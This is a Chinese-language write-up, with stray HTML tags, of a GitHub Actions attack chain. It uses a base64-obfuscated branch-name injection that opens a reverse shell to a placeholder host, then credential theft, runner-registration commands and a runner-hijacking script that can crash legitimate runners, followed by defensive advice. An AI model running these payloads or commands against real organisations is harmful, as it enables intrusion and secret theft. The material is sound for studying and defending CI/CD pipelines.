GitHub权限提升技术：自托管运行器劫持攻击详解<\/h1>

0X00 技术背景<\/h2>

CI\/CD基础概念<\/h3>

持续集成(CI)<\/strong>: 开发人员提交代码到版本控制仓库后，自动运行构建和测试<\/li>
持续部署(CD)<\/strong>: 在CI基础上，构建和测试通过后自动部署到生产\/测试环境<\/li>

GitHub Actions<\/strong>: GitHub提供的CI\/CD服务，允许自动化构建、测试和部署流程<\/li> <\/ul>
关键术语解释<\/h3>

ubuntu-latest标签<\/strong>: GitHub Actions工作流程中指定运行环境的标签，表示使用最新版Ubuntu系统<\/li>
自托管运行器(Self-hosted runner)<\/strong>: 用户自己配置和管理的GitHub Actions运行环境，而非使用GitHub提供的托管运行器<\/li> <\/ul>
0X01 攻击场景分析<\/h2>
初始环境设置<\/h3>

目标组织有两个仓库：<\/p>

脆弱仓库：包含易受攻击的工作流程<\/li>
敏感仓库：包含云基础设施部署的敏感信息(密钥等)<\/li> <\/ul> <\/li>

安全限制：<\/p>

分支保护启用(required_pull_request_reviews)<\/li>
需要至少一个批准才能合并PR<\/li>
强制签名验证<\/li>
禁止强制推送<\/li> <\/ul> <\/li> <\/ol>
漏洞工作流程分析<\/h3>
脆弱工作流程特点：<\/p>

触发条件：拉取请求评论事件<\/li>
关键漏洞点：使用用户可控的分支名称直接执行git checkout<\/li>
攻击向量：通过构造恶意分支名注入命令<\/li> <\/ul>
示例攻击分支名：<\/p>
";{echo,c2ggLWkgPiYgL2Rldi90Y3AveC54LngueC84MCAwPiYxCg==}|{base64,-d}|{bash,-i};echo"" <\/span><\/span><\/span><\/code><\/pre>解码后实际执行：<\/p> sh -i >& \/dev\/tcp\/x.x.x.x\/80 0>&1<\/span> <\/span><\/span><\/code><\/pre>这将建立一个反向shell连接攻击者服务器<\/p> 0X02 权限提升技术<\/h2> 获取GitHub App凭证<\/h3> 通过反向shell获取环境变量：<\/p> GH_APP_ID: GitHub应用程序ID<\/li> GH_APP_PVK: GitHub应用程序私钥(RSA格式)<\/li> <\/ul> <\/li> 使用私钥生成访问令牌：<\/p> <\/li> <\/ol> gh token generate --key leaked-private-key.pem --app-id <APP_ID> <\/span><\/span><\/code><\/pre>关键权限利用<\/h3> 生成的令牌具有organization_self_hosted_runners<\/code>的write权限，可用于：<\/p> 创建组织级运行器注册令牌：<\/li> <\/ol> gh api --method POST \/orgs\/<org>\/actions\/runners\/registration-token <\/span><\/span><\/code><\/pre> 注册恶意自托管运行器：<\/li> <\/ol> 使用ubuntu-latest<\/code>标签注册<\/li> 企业级运行器将优先处理带有此标签的工作流<\/li> <\/ul> 运行器劫持工具<\/h3> 使用Python脚本gh-hijack-runner.py<\/code>实现：<\/p> 基本用法：<\/li> <\/ol> gh-hijack-runner.py --registration-token <TOKEN> --url https:\/\/github.com\/<org> --labels ubuntu-latest <\/span><\/span><\/code><\/pre> 高级用法(已有运行器凭证时)：<\/li> <\/ol> gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json <\/span><\/span><\/code><\/pre> 会话管理：<\/li> <\/ol> 查找现有会话ID：<\/li> <\/ul> cat _diag\/* | grep -i session <\/span><\/span><\/code><\/pre> 删除会话(使合法运行器崩溃)：<\/li> <\/ul> gh-hijack-runner.py ... --delete-session-id <SESSION_ID> <\/span><\/span><\/code><\/pre>0X03 攻击效果<\/h2> 窃取敏感信息：<\/p> 云服务密钥<\/li> SSH私钥<\/li> 仓库机密<\/li> 系统GitHub令牌<\/li> <\/ul> <\/li> 绕过安全限制：<\/p> 无需通过PR审核流程<\/li> 无需绕过分支保护<\/li> 当合法用户触发工作流时自动泄露信息<\/li> <\/ul> <\/li> <\/ol> 0X04 防御措施<\/h2> 针对组织管理员<\/h3> 权限最小化原则：<\/p> 严格审查GitHub App权限<\/li> 避免授予不必要的organization_self_hosted_runners<\/code> write权限<\/li> <\/ul> <\/li> 运行器隔离：<\/p> 为不同敏感级别的工作流使用不同的运行器标签<\/li> 避免在敏感工作流中使用通用标签如ubuntu-latest<\/code><\/li> <\/ul> <\/li> 监控与审计：<\/p> 定期检查组织中的自托管运行器<\/li> 监控异常运行器注册活动<\/li> <\/ul> <\/li> <\/ol> 针对开发者<\/h3> 安全编码实践：<\/p> 避免在GitHub Actions工作流中使用未经验证的用户输入<\/li> 对动态生成的命令进行严格过滤<\/li> <\/ul> <\/li> 工作流安全审查：<\/p> 检查工作流中所有使用${ { <context> } }<\/code>的地方<\/li> 确保不会将用户可控数据直接用于命令执行<\/li> <\/ul> <\/li> 机密管理：<\/p> 使用GitHub Secrets存储敏感信息<\/li> 限制机密在工作流中的访问范围<\/li> <\/ul> <\/li> <\/ol> 0X05 技术总结<\/h2> 本技术展示了如何通过以下路径实现权限提升：<\/p> 初始漏洞利用 → 获取反向shell<\/li> 窃取GitHub App凭证 → 生成访问令牌<\/li> 利用组织运行器权限 → 注册恶意运行器<\/li> 劫持工作流执行 → 窃取敏感信息<\/li> <\/ol> 关键点在于滥用ubuntu-latest<\/code>标签和自托管运行器机制，实现对组织内所有使用该标签的工作流的控制。<\/p>